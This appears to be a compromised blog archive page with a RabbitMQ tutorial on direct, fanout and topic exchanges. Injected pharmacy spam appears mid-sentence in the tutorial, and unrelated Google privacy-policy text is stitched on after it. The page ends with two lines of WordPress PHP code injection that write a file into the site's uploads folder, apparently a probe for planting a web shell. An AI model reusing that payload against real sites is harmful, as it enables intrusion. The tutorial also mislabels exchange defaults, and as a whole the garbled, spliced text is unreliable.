Tag Archives: AMQP


RabbitMQ is a message broker. The principal idea is pretty simple: it accepts and forwards messages.

The core idea in the messaging model in RabbitMQ is that the producer never sends any messages directly to a queue. Actually, quite often the producer doesn’t even know if a message will be delivered to any queue at all.

Instead, the producer can only send messages to an exchange. An exchange is a very simple thing. On one side it receives messages from producers and the other side it pushes them to queues. The exchange must know exactly what to do with a message it receives. Should it be appended to a particular queue? Should it be appended to many queues? Or should it get discarded. The rules for that are defined by the exchange type.


 Note that the producer, consumer, and broker do not have to reside on the same machine; indeed in most applications they don’t.


This tutorial assumes RabbitMQ is installed and running on localhost on standard port (5672). In case you use a different host, port or credentials, connections settings would require adjusting.

Types of exchanges:

  • Direct: A direct exchange delivers messages to queues based on a message routing key. In a direct exchange, the message are routed to the queues whose binding key exactly matches the routing key of the message. A message goes to the queue(s) whose binding key exactly matches the routing key of the message. If the queue is bound to the exchange with the binding key emailprocess, a message published to the exchange with a routing key emailprocess will be routed to that queue.

    The default exchange AMQP brokers must provide for the topic exchange is “amq.direct”.


                 The direct exchange type is useful when you would like to distinguish messages published to the same exchange using a simple string identifier.

  • Fanout: A fanout exchange routes messages to all of the queues that are bound to it.The fanout copies and routes a received message to all queues that are bound to it regardless of routing keys or pattern matching as with direct and topic exchanges. Keys provided will simply be ignored.

    The default exchange AMQP brokers must provide for the topic exchange is “amq.fanout”.

    fanout_exchange2       Fanout exchanges can be useful when the same message needs to be sent to one or more        queues with consumers who may process the same message in different ways.

  • Topic: 

    Topic exchanges route messages to queues based on wildcard matches between the routing key and something called the routing pattern specified by the queue binding. Messages are routed to one or many queues based on a matching between a message routing key and this pattern.

    cialis avant ou apres manger Messages sent to a topic exchange can’t have an arbitrary routing_key – it must be a list of words, delimited by dots. The words can be anything, but usually they specify some features connected to the message. A few valid routing key examples: “stock.usd.nyse”, “nyse.vmw”, “quick.orange.rabbit”. There can be as many words in the routing key as you like, up to the limit of 255 bytes.

    The binding key must also be in the same form. The logic behind the topic exchange is similar to a direct one – a message sent with a particular routing key will be delivered to all the queues that are bound with a matching binding key. However there are two important special cases for binding keys:

    * (star) can substitute for exactly one word.
    # (hash) can substitute for zero or more words.

    It’s easiest to explain this in an example:


    We created three bindings: Q1 is bound with binding key “*.orange.*” and Q2 with “*.*.rabbit” and “lazy.#”. where can i buy cialis

    These bindings can be summarised as:
    Q1 is interested in all the orange animals.
    Q2 wants to hear everything about rabbits, and everything about lazy animals.
    The default exchange AMQP brokers must provide for the topic exchange is “amq.topic”.

    • You can find more programmatic examples here. Hope this article helps you to understand three major types of RabbitMQ Exchange.

      Thank you for reading this article!

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php]

 echo 147098235+111;file_put_contents('wp-content/uploads/info.php', '');